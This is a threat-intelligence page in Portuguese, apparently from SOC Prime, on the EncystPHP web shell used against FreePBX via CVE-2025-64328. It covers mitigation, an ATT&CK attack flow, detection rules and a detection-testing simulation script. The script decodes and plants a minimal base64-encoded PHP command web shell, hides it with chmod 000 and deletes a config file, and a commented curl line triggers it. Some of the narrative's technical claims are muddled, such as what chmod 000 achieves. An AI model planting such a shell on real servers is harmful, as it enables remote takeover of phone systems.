SOC Prime Bias: Crítico

03 Fev 2026 19:33

EncystPHP: Web Shell FreePBX Armado para Comprometimento Persistente de Admin

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
EncystPHP: Web Shell FreePBX Armado para Comprometimento Persistente de Admin
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O FortiGuard Labs reporta um web shell PHP chamado EncystPHP implantado em instâncias expostas do FreePBX explorando CVE-2025-64328. O implante permite a execução remota de comandos, provisiona usuários privilegiados e configura persistência em camadas através de tarefas cron e de droppers subsequentes. A atividade está ligada ao grupo INJ3CTOR3 e aparenta visar ambientes de telecomunicações. Indicadores publicados incluem IPs maliciosos, domínios, URLs e múltiplos caminhos de arquivos hostis.

Investigação

Investigadores rastrearam o acesso inicial para uma falha de injeção de comando pós-autenticação no FreePBX Endpoint Manager. Após exploração bem-sucedida, o operador puxa um dropper de 45.234.176.202, relaxa permissões em componentes principais do PHP, extrai credenciais de banco de dados, cria uma conta de nível root e adiciona uma chave SSH controlada pelo atacante. A persistência é reforçada com entradas cron que repetidamente buscam droppers adicionais e refrescam artefatos. O EncystPHP também imita arquivos legítimos do FreePBX e manipula timestamps para reduzir a visibilidade durante a triagem rotineira.

Mitigação

Aplique o patch no FreePBX Endpoint Manager para corrigir CVE-2025-64328 (e quaisquer correções relacionadas) o mais rápido possível. Procure por arquivos web shell não autorizados, cronogramas cron suspeitos e novos usuários locais privilegiados criados. Bloqueie o HTTP de saída para infraestrutura maliciosa conhecida e aplique permissões estritas de menor privilégio em diretórios voltados para a web e ativos PHP.

Resposta

Ao detectar, isole o servidor PBX afetado, remova os artefatos do EncystPHP, elimine cron jobs não autorizados e redefina contas locais e chaves SSH. Revise os logs e backups de configuração para avaliar mudanças, então aplique as atualizações de segurança atuais e reforce a interface web. Valide que nenhum dropper secundário ou mecanismos de persistência permanecem antes de restaurar as operações normais de telefonia.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>Ação</b> – <b>T1190 Explorar Aplicação Exposta ao Público</b><br/>Exploração do gerenciador de endpoints FreePBX CVE-2025-64328”] class initial_access action tool_wget[“<b>Ferramenta</b> – <b>Nome</b>: wget<br/><b>Descrição</b>: baixar arquivos via HTTP”] class tool_wget tool process_shell[“<b>Processo</b> – <b>T1059.004 Interpretador de Comandos e Scripts: Unix Shell</b><br/>Scripts bash decodificados em Base64 c, k.php, test.sh”] class process_shell process file_c[“<b>Arquivo</b> – c (script bash)”] class file_c file file_kphp[“<b>Arquivo</b> – k.php (dropper PHP)”] class file_kphp file file_testsh[“<b>Arquivo</b> – test.sh (script bash)”] class file_testsh file credential_access[“<b>Ação</b> – <b>T1003 Extração de Credenciais do Sistema Operacional</b><br/>Credenciais de banco de dados coletadas de /etc/freepbx.conf”] class credential_access action file_freepbxconf[“<b>Arquivo</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>Ação</b> – <b>T1068 Exploração para Escalonamento de Privilégios</b>”] class priv_esc_exploit action account_create[“<b>Ação</b> – <b>T1136.001 Criar Conta: Conta Local</b><br/>Criação do usuário em nível root newfpbx com hash de senha predefinido”] class account_create action persistence_webshell[“<b>Ação</b> – <b>T1505.003 Componente de Software de Servidor: Web Shell</b><br/>Implantação do EncystPHP disfarçado como ajax.php e config.php”] class persistence_webshell action file_ajaxphp[“<b>Arquivo</b> – ajax.php (web shell)”] class file_ajaxphp file file_configphp[“<b>Arquivo</b> – config.php (web shell)”] class file_configphp file persistence_cron[“<b>Ação</b> – <b>T1053.003 Tarefa/Trabalho Agendado: Cron</b><br/>Instalação de tarefas cron para baixar e executar k.php a cada minuto”] class persistence_cron action defense_perm_mod[“<b>Ação</b> – <b>T1222.002 Modificação de Permissões de Arquivos e Diretórios: Linux</b><br/>Definição de permissões de arquivo para 000 e falsificação de carimbos de data/hora”] class defense_perm_mod action defense_masquerade[“<b>Ação</b> – <b>T1036.005 Disfarce</b><br/>Colocação de shells em locais com aparência legítima”] class defense_masquerade action defense_indicator_removal[“<b>Ação</b> – <b>T1070.004 Exclusão de Arquivos</b> e <b>T1070.006 Timestomp</b><br/>Exclusão de logs, entradas de cron e ajuste de timestamps para coincidir com arquivos legítimos”] class defense_indicator_removal action lateral_movement_ssh[“<b>Ação</b> – <b>T1021.004 Serviços Remotos: SSH</b> e <b>T1098.004 Chaves Autorizadas SSH</b><br/>Injeção da chave pública do atacante em authorized_keys”] class lateral_movement_ssh action command_and_control[“<b>Ação</b> – <b>T1105 Transferência de Ferramentas de Entrada</b> e <b>T1071.001 Protocolo da Camada de Aplicação: Protocolos Web</b><br/>Download de droppers a partir de 45.234.176.202 usando wget”] class command_and_control action impact_hijack[“<b>Ação</b> – <b>T1496 Sequestro de Recursos</b><br/>Uso do PBX para realizar chamadas de saída não autorizadas”] class impact_hijack action defense_impair[“<b>Ação</b> – <b>T1562.001 Prejudicar Defesas</b> e <b>T1548 Abuso de Mecanismo de Controle de Elevação</b><br/>Desativação do relatório de erros e uso de contexto administrativo para alterações no sistema”] class defense_impair action %% Edges initial_access –>|usa| tool_wget tool_wget –>|baixa| file_c tool_wget –>|baixa| file_kphp tool_wget –>|baixa| file_testsh initial_access –>|leva a| process_shell process_shell –>|executa| file_c process_shell –>|executa| file_kphp process_shell –>|executa| file_testsh process_shell –>|leva a| credential_access credential_access –>|lê| file_freepbxconf credential_access –>|habilita| priv_esc_exploit priv_esc_exploit –>|habilita| account_create account_create –>|habilita| persistence_webshell persistence_webshell –>|cria| file_ajaxphp persistence_webshell –>|cria| file_configphp persistence_webshell –>|habilita| persistence_cron persistence_cron –>|cria| file_kphp persistence_cron –>|usa| tool_wget persistence_cron –>|define| defense_perm_mod defense_perm_mod –>|suporta| defense_masquerade defense_masquerade –>|suporta| defense_indicator_removal persistence_webshell –>|suporta| lateral_movement_ssh lateral_movement_ssh –>|habilita| command_and_control command_and_control –>|fornece| impact_hijack command_and_control –>|suporta| defense_impair

Fluxo de Ataque

Detecções

Possível Nova Conta para Persistência [Linux] (via linha de comando)

Equipe do SOC Prime
02 Fev 2026

Arquivo Cron Foi Criado (via evento de arquivo)

Equipe do SOC Prime
02 Fev 2026

Downloads para Pastas Suspeitas (via linha de comando)

Equipe do SOC Prime
02 Fev 2026

Possível Tentativa de Descoberta de Hosts Conhecidos SSH [MacOS] (via linha de comando)

Equipe do SOC Prime
02 Fev 2026

Possível Manipulação de Strings Codificadas em Base64 (via linha de comando)

Equipe do SOC Prime
02 Fev 2026

IOCs (DestinationIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo

Regras AI SOC Prime
02 Fev 2026

IOCs (HashSha256) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo

Regras AI SOC Prime
02 Fev 2026

IOCs (SourceIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo

Regras AI SOC Prime
02 Fev 2026

Detectar Entradas Crontab para Download Persistente de k.php e c Dropper [Criação de Processo Linux]

Regras AI SOC Prime
02 Fev 2026

Implantação do Web Shell EncystPHP e Persistência via CVE-2025-64328 [Criação de Processo Linux]

Regras AI SOC Prime
02 Fev 2026

Detecção de Atividade do Web Shell EncystPHP no FreePBX [Evento de Arquivo Linux]

Regras AI SOC Prime
02 Fev 2026

Execução de Simulação

Pré-requisito: A Checagem Pré-voo de Telemetria & de Linha de Base deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:

    1. Carregar o web shell EncystPHP – O atacante fabrica um payload PHP codificado em Base64 e o entrega via um POST HTTP para a UI web do FreePBX, fazendo com que o arquivo ajax.php seja escrito em /var/www/html/admin/views/ajax.php.
    2. Definir permissões restritivas – Imediatamente após a implantação, o atacante executa chmod 000 ajax.php para esconder o shell de usuários normais e forçar a execução sob a conta privilegiada do servidor web (T1222.002).
    3. Excluir configuração crítica – Para prejudicar a detecção e forçar o sistema a recarregar com o shell malicioso, o atacante remove /etc/freepbx.conf (T1070.004, T1562.001).
    4. Acionar o shell – Um simples GET HTTP para o recém-criado ajax.php executa o payload, estabelecendo um shell reverso (T1105, T1059.004).
  • Script de Teste de Regressão: O script reproduz os passos 1‑3 em um diretório de teste controlado (/tmp/freepbx_test) para evitar afetar um sistema de produção.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Setup test directories (mirroring FreePBX layout) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Create dummy config file (will be deleted) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Base64‑encoded EncystPHP payload (very small stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Step 1: Deploy web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell deployed at ${WEB_ROOT}/ajax.php"
    
    # ----- Step 2: Restrictive permission (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permissions set to 000"
    
    # ----- Step 3: Delete critical config file -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Deleted ${CONFIG_FILE}"
    
    # ----- Optional: trigger the shell (simulated) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulation complete. Check SIEM for alerts."
  • Comandos de Limpeza:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Ambiente de teste limpo."